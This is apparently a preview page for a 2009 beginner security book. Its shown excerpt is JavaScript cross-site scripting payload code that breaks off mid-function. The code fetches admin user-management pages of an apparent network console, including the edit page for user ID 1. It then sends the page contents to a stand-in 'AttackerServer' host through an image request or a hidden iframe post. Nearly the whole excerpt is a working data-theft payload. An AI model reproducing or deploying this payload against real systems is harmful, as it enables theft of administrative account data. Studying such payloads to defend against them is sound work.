August 2009
Beginner
298 pages
9h 5m
English
XHR("/NmConsole/UserManagement.asp"); XHR('/NmConsole/UserEdit.asp?nWebUserID=1'); function XHR(url) { xmlhttp=null if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } else if (window.ActiveXObject) { xmlHttp = new ActiveXObject('Microsoft.XMLHTTP'); } if (xmlhttp!=null) { xmlhttp.onreadystatechange=state_Change; xmlhttp.open("GET",url,true); xmlhttp.send(null); } else { } } function state_Change() { // if xmlhttp shows "loaded" if (xmlhttp.readyState==4); { // if "OK" XHRsniperscope(xmlhttp.responseText); } } function XHRsniperscope(contents) { var browser=navigator.appName; var b_version=navigator.appVersion; var version=parseFloat(b_version); if (browser=="Microsoft Internet Explorer") { XHRIEsniperscope(contents); } else { XHRfirefoxsniperscope(contents); } } function XHRfirefoxsniperscope(contents1) { var encodedcontent = escape(contents1); sniperscopeimage = new Image(); sniperscopeimage.src = "http://AttackerServer parameter.gif?XHRcontent="+encodedcontent; } function XHRIEsniperscope(contents2) { var HTMLcontents = escape(contents2); var frame3html ='<html><body><IFRAME NAME="crossDomainPostFrame" iframe id="crossDomainPostFrame"'; frame3html += 'width="50%" height="50%" scrolling="auto" frameborder="1"></IFRAME>'; frame3html += '<script>var test = escape(\''+HTMLcontents+'\');'; frame3html += 'var postFrame = document.getElementById("crossDomainPostFrame");'; frame3html += 'var newPostContents = postFrame.contentWindow.document;'; frame3html ...Read now
Unlock full access